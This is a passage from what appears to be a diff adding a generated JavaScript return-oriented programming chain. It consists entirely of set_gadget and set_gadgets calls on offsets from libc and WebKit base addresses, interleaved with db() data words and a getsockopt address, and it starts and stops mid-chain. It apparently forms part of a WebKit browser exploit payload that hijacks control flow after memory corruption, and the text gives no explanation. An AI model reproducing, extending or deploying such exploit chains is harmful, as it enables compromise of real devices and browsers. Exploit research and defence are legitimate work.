+set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+174592, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+174680, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+174696, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+174856, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+174888, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+174840, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+174872, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+174984, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+174968, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+175088, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+177168, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+175232, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+175248, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+175216, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+175376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+175408, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+175392, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+175520, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+175512, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+175536, +ropchain+176000, +libc_base+388400, +libc_base+713278, +ropchain+175608, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+175768, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+175800, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+175752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+175784, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+175880, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+175896, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+175992, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+175976, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+176056, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+176144, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+176160, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+176320, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+176352, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+176304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+176336, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+176432, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+176448, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+176576, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+176592, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+176560, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+176696, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+176712, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+176832, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+176816, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+176920, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+176904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+177024, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+177040, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+177160, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+177144, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +getsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+178488, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+178560, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+178624, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+178768, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+178872, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([61, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+179072, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+179160, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+179176, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+179336, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+179368, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+179320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+179352, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+179464, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+179448, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+179568, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+181648, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+179712, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+179728, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+179696, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+179856, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+179888, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+179872, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+180000, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+179992, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+180016, +ropchain+180480, +libc_base+388400, +libc_base+713278, +ropchain+180088, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+180248, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+180280, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+180232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+180264, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+180360, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+180376, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+180472, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+180456, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+180536, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+180624, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+180640, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+180800, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+180832, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+180784, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+180816, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+180912, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+180928, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+181056, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+181072, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+181040, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+181176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+181192, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+181312, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+181296, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+181400, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+181384, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+181504, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+181520, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+181640, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+181624, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +getsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+182968, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+183040, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+183104, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+183248, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+183352, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967292, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([61, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+183552, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+183640, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+183656, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+183816, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+183848, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+183800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+183832, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+183944, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+183928, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+184048, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+186128, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+184192, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+184208, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+184176, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+184336, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+184368, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+184352, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+184480, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+184472, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+184496, +ropchain+184960, +libc_base+388400, +libc_base+713278, +ropchain+184568, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+184728, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+184760, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+184712, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+184744, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+184840, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+184856, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+184952, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+184936, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+185016, +webkit_base+4687784, +libc_base+740138, 